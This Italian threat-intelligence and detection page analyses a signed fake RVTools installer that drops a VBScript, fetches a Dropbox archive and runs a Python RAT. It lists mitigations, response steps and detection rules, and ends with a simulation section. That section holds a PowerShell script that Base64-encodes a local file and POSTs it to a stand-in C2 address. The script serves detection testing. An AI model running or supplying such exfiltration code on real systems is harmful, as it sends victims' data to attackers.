Mascheramento RVTools: Come un Falso Installatore Firmato Distribuisce un RAT Modulare in Python
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
Un installatore MSI malevolo, firmato con un certificato legittimo, si maschera come l’utilità RVTools usata dagli amministratori VMware. Una volta eseguito, l’installatore rilascia un VBScript che avvia PowerShell per scaricare un grande archivio ZIP da Dropbox. Tale archivio contiene un ambiente Python portabile che esegue un RAT multi-stadio capace di ricognizione, persistenza e comunicazione con server di comando e controllo con codici predefiniti.
Indagine
L’analisi ha tracciato l’MSI a un’azione VBScript personalizzata, Binary.MyScript.vbs, che decodificava un comando PowerShell offuscato. Quel comando scaricava un winp.zip payload in %APPDATA%, estraeva componenti e script Python come collector.py and Pmanager.py, e quindi stabiliva la persistenza tramite chiavi Run del registro e un’attività schedulata dopo il riavvio. I ricercatori hanno anche trovato che il RAT cifrava i dati raccolti con RC4 e si connetteva a cinque indirizzi IP fissi a intervalli di cinque minuti.
Mitigazione
Le organizzazioni dovrebbero applicare un rigoroso controllo di validazione della firma con controlli OCSP o CRL attivi, bloccare l’esecuzione di MSI non fidati e monitorare azioni VBScript personalizzate sospette incorporate nei pacchetti dell’installatore. I difensori dovrebbero anche prevenire esecuzioni automatiche di script scaricati, controllare nuove voci di chiave Run e la creazione di attività schedulate, e allertare su traffico in uscita verso indirizzi IP codificati non familiari.
Risposta
Se questa attività viene rilevata, isolare immediatamente il terminale interessato, raccogliere l’MSI, il VBScript e i file payload estratti per l’analisi forense, e rimuovere tutti gli artefatti di persistenza, comprese le chiavi Run e le attività schedulate. Gli indirizzi IP dei server di comando e controllo identificati devono essere bloccati al firewall, e deve essere effettuata una revisione più ampia delle credenziali e delle attività di Active Directory per determinare se si è verificato uno spostamento laterale.
Flusso di Attacco
Rilevazioni
LOLBAS WScript / CScript (via creazione processo)
Visualizza
Esecuzione di Python da cartelle sospette (via cmdline)
Visualizza
La possibilità di esecuzione tramite linee di comando PowerShell nascoste (via cmdline)
Visualizza
Un archivio è stato estratto in una directory sospetta utilizzando Powershell (via powershell)
Visualizza
Possibili query DNS a sottodomini API di Dropbox iniziate da processi non legittimi (via dns_query)
Visualizza
IOC (HashSha256) per rilevare: Masquerade RVTools: Come un Fake Installer firmato distribuisce un RAT Python modulare
Visualizza
IOC (HashMd5) per rilevare: Masquerade RVTools: Come un Fake Installer firmato distribuisce un RAT Python modulare
Visualizza
Rilevazione dell’esfiltrazione dei dati via IP codificati e HTTP POST [Connessione di rete Windows]
Visualizza
Rilevazione dell’esecuzione nascosta di PowerShell malevolo e Invoke-WebRequest [Windows Powershell]
Visualizza
Installatore falso sospetto RVTools che distribuisce Python RAT [Creazione processo Windows]
Visualizza
Esecuzione di simulazione
Prerequisito: Il controllo pre-volo Telemetria e Baseline deve essere superato.
Razionale: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per innescare la regola di rilevamento. I comandi e la narrazione devono riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrazione e Comandi di Attacco:
Un avversario che ha già stabilito un punto d’appoggio sulla macchina vittima decide di esfiltrare un piccolo set di dati (ad esempio,C:Tempsecret.txt). Per evitare di attivare avvisi generici di traffico in uscita, l’attore utilizza un PowerShell one-liner che esegue un HTTP POST direttamente a uno degli IP C2 codificati (192.0.2.10). Il comando è pianificato tramite un Attività Pianificata di Windows per garantire la persistenza (T1546.013). Non vengono lasciati binari aggiuntivi, mantenendo l’attività ‘vivente del territorio’. -
Script di Test di Regressione:
# ------------------------------------------------- # Script PowerShell – Esfiltrazione dati tramite IP codificato # ------------------------------------------------- $c2Ip = "192.0.2.10" $c2Port = 80 $uri = "http://$c2Ip/exfil" $file = "C:Tempsecret.txt" # Assicurati che il file esista (crea dati simbolici per il test) if (-Not (Test-Path $file)) { "dati sensibili $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII } # Leggi il contenuto del file e codificalo in Base64 $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file)) # Effettua l'HTTP POST $body = @{ data = $payload } try { Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10 Write-Host "Tentativo di esfiltrazione inviato a $c2Ip" } catch { Write-Error "Esfiltrazione fallita: $_" } -
Comandi di Pulizia:
# Rimuovi il file simbolico Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue # Elimina qualsiasi attività pianificata creata per il test (se presente) $taskName = "DataExfilTask" if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) { Unregister-ScheduledTask -TaskName $taskName -Confirm:$false }